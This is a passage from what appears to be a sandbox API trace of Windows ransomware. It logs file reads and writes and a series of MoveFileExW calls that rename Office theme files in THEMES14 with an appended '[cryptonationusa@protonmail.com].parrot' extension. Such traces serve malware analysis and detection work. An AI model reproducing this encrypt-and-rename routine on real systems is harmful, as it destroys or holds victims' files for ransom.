(HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0123.004] GetLastError () returned 0x0 [0123.004] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0123.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d5240 [0123.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5240 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x660aa0 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d2d08 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x660aa0 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2d08 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69c668 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0123.005] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0123.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0123.005] WriteFile (in: hFile=0x27c, lpBuffer=0x5d33c8*, nNumberOfBytesToWrite=0x378, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x5d33c8*, lpNumberOfBytesWritten=0x18ebe4*=0x378, lpOverlapped=0x0) returned 1 [0123.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0123.006] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0123.006] CloseHandle (hObject=0x27c) returned 1 [0123.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3171570 [0123.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x6951e8 [0123.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3171570 | out: hHeap=0x5b0000) returned 1 [0123.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6951e8 | out: hHeap=0x5b0000) returned 1 [0123.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0123.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0123.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x660aa0 [0123.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x684228 [0123.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0123.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0123.009] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.009] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.011] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.011] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x543, lpOverlapped=0x0) returned 1 [0123.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0123.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0123.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0123.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0123.011] GetLastError () returned 0x0 [0123.011] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0123.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0123.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.015] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.015] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.016] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.016] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e93, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7e93, lpOverlapped=0x0) returned 1 [0123.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.023] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.028] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.028] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.030] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.030] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb8f8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb8f8, lpOverlapped=0x0) returned 1 [0123.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.033] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.038] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.038] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.039] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x211, lpOverlapped=0x0) returned 1 [0123.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.039] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.042] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.042] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.043] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.043] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x543, lpOverlapped=0x0) returned 1 [0123.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.044] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.046] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.046] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.048] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.048] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6722, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6722, lpOverlapped=0x0) returned 1 [0123.049] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.051] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.056] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.057] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.058] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.058] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12dee, lpOverlapped=0x0) returned 1 [0123.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.062] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.101] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.101] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.102] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.102] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x223, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x223, lpOverlapped=0x0) returned 1 [0123.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.103] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.106] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.106] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.108] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x54a, lpOverlapped=0x0) returned 1 [0123.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0123.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0123.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.111] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0123.112] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.112] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7eb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7eb1, lpOverlapped=0x0) returned 1 [0123.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0123.115] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0123.115] RtlAllocateHeap 